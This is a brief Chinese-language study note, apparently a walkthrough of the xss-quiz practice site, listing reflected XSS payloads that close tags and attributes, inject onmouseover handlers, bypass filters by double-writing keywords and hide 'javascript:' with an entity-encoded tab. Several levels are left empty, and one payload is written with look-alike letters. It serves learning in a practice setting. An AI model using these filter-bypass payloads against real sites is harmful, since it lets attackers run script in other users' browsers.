xss攻击

参考
https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/954065?fr=aladdin
https://xss-quiz.int21h.jp/

1. 闭合标签

"</b><script>alert(document.domain);</script>

2. 闭合属性，input标签

"><script>alert(document.domain);</script>

3. 闭合下拉框

在这里插入代码片

4. 改变标签属性值
   input标签 属性 type改为 text

hackme"><script>alert(document.domain);</script>

5. 修改属性值，闭合标签
   

6. 添加属性事件，构造闭合
   https://www.w3school.com.cn/tags/html_ref_eventattributes.asp

" οnmοuseοver="alert(document.domain);

7. 通过提交的数据，添加属性值
   利用空格

123 onmouseover=alert(document.domain)

8. JavaScript解释运行href

9. 双写绕过

"><script>alert(document.dodomainmain);</script>

10. 添加标签，利用href，实体编号跳过关键字的检测

"><a href="javascr&#09ipt:alert(document.domain);">123</a>